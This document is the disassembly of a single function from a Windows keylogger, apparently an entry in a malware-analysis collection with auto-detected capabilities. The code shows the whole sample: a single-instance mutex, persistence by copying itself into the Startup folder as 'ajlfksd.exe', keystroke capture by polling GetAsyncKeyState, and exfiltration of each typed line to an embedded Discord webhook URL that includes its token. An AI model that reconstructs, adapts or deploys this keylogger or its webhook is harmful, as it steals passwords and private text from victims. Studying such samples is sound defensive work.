Function at 0x140001508
Capabilities:
Check mutex on windows
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x468
lea rbp, [rsp + 0x80]
call sym.__main
lea r8, str.fhdjkla
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140001557
mov ebx, 0
jmp 0x140001b2d
lea rax, [rbp + 0x2ef]
mov qword [rbp + 0x3d0], rax
nop
nop
lea rdx, [rbp + 0x2ef]
lea rax, [rbp + 0x2c0]
mov r8, rdx
lea rdx, str.https:__discord.com_api_webhooks_1280138210504081519_CWCVUfzvp6_hxP0_dAnsPp8vAa6XLSMrvm1UwnOdrbjsQ2K2jUB6H0kRZtgy9rfvnFU_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
nop
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400d32f0
lea rdx, [rbp + 0x2c0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.DiscordWebhook_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x31f]
mov qword [rbp + 0x3c8], rax
nop
nop
lea rdx, [rbp + 0x31f]
lea rax, [rbp + 0x2f0]
mov r8, rdx
lea rdx, str.heckerman
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x2f0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.setUsername_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp + 0x34f]
mov qword [rbp + 0x3c0], rax
nop
nop
lea rdx, [rbp + 0x34f]
lea rax, [rbp + 0x320]
mov r8, rdx
lea rdx, str.http:__cos.h_cdn.co_assets_cm_14_25_53a011beb7c13___cos_02_kitten_in_cat_eyes_mdn.jpg
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.setAvatarUrl_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x320]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
nop
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
sete al
test al, al
je 0x1400016b4
mov ebx, 0
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.DiscordWebhook__
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x2c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
jmp 0x140001b2d
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.getStartupFolderPath_abi:cxx11___
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, str._ajlfksd.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp - 0x60]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x350]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
test al, al
je 0x140001765
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x390]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__260___std::filesystem::__cxx11.path__char_const_____260___std::filesystem::__cxx11::path::format_
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x390]
mov rcx, rax
call method.std::filesystem.copy_file_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x390]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
mov dword [rbp + 0x3dc], 8
jmp 0x140001abb
cmp dword [rbp + 0x3dc], 0xd
je 0x14000179d
mov eax, dword [rbp + 0x3dc]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 1
test eax, eax
je 0x14000179d
mov eax, 1
jmp 0x1400017a2
mov eax, 0
test al, al
je 0x140001ab4
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
mov byte [rbp + 0x3da], al
mov byte [rbp + 0x3db], 0
cmp dword [rbp + 0x3dc], 0x2f
jle 0x140001894
cmp dword [rbp + 0x3dc], 0x39
jg 0x140001894
cmp byte [rbp + 0x3da], 0
je 0x14000187e
mov eax, dword [rbp + 0x3dc]
sub eax, 0x30
cmp eax, 9
ja case.default.0x140001822
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14010d16c]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14010d16c]
add rax, rdx
jmp rax
mov byte [rbp + 0x3db], 0x21
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x40
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x23
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x24
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x25
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x5e
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x26
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x2a
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x28
jmp 0x14000188f
mov byte [rbp + 0x3db], 0x29
jmp 0x14000188f
mov eax, dword [rbp + 0x3dc]
mov byte [rbp + 0x3db], al
jmp case.default.0x140001822
jmp case.default.0x140001822
cmp dword [rbp + 0x3dc], 0x40
jle 0x1400018cb
cmp dword [rbp + 0x3dc], 0x5a
jg 0x1400018cb
cmp byte [rbp + 0x3da], 0
je 0x1400018b7
mov eax, dword [rbp + 0x3dc]
jmp 0x1400018c0
mov eax, dword [rbp + 0x3dc]
add eax, 0x20
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp dword [rbp + 0x3dc], 0x20
je 0x140001937
cmp dword [rbp + 0x3dc], 0x20
jl case.0x140001935.193
cmp dword [rbp + 0x3dc], 0xde
jg case.0x140001935.193
cmp dword [rbp + 0x3dc], 0xba
jl case.0x140001935.193
mov eax, dword [rbp + 0x3dc]
sub eax, 0xba
cmp eax, 0x24
ja case.0x140001935.193
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14010d194]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14010d194]
add rax, rdx
jmp rax
mov byte [rbp + 0x3db], 0x20
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001953
mov eax, 0x3a
jmp 0x140001958
mov eax, 0x3b
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001973
mov eax, 0x3f
jmp 0x140001978
mov eax, 0x2f
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001993
mov eax, 0x7e
jmp 0x140001998
mov eax, 0x60
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x1400019b3
mov eax, 0x7b
jmp 0x1400019b8
mov eax, 0x5b
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x1400019d3
mov eax, 0x7c
jmp 0x1400019d8
mov eax, 0x5c
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x1400019f3
mov eax, 0x7d
jmp 0x1400019f8
mov eax, 0x5d
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001a13
mov eax, 0x22
jmp 0x140001a18
mov eax, 0x27
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001a30
mov eax, 0x2b
jmp 0x140001a35
mov eax, 0x3d
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001a4d
mov eax, 0x3c
jmp 0x140001a52
mov eax, 0x2c
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001a6a
mov eax, 0x5f
jmp 0x140001a6f
mov eax, 0x2d
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
cmp byte [rbp + 0x3da], 0
je 0x140001a87
mov eax, 0x3e
jmp 0x140001a8c
mov eax, 0x2e
mov byte [rbp + 0x3db], al
jmp case.0x140001935.193
nop
cmp byte [rbp + 0x3db], 0
je 0x140001ab4
movsx edx, byte [rbp + 0x3db]
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.push_back_char_
add dword [rbp + 0x3dc], 1
cmp dword [rbp + 0x3dc], 0xfe
jle 0x140001774
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
test al, al
je 0x140001b1a
lea rdx, [rbp + 0x2a0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.setContent_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.DiscordWebhook.execute__
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.clear__
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001765
mov eax, ebx
jmp 0x140001bfb
add rsp, 0x468
pop rbx
pop rbp
ret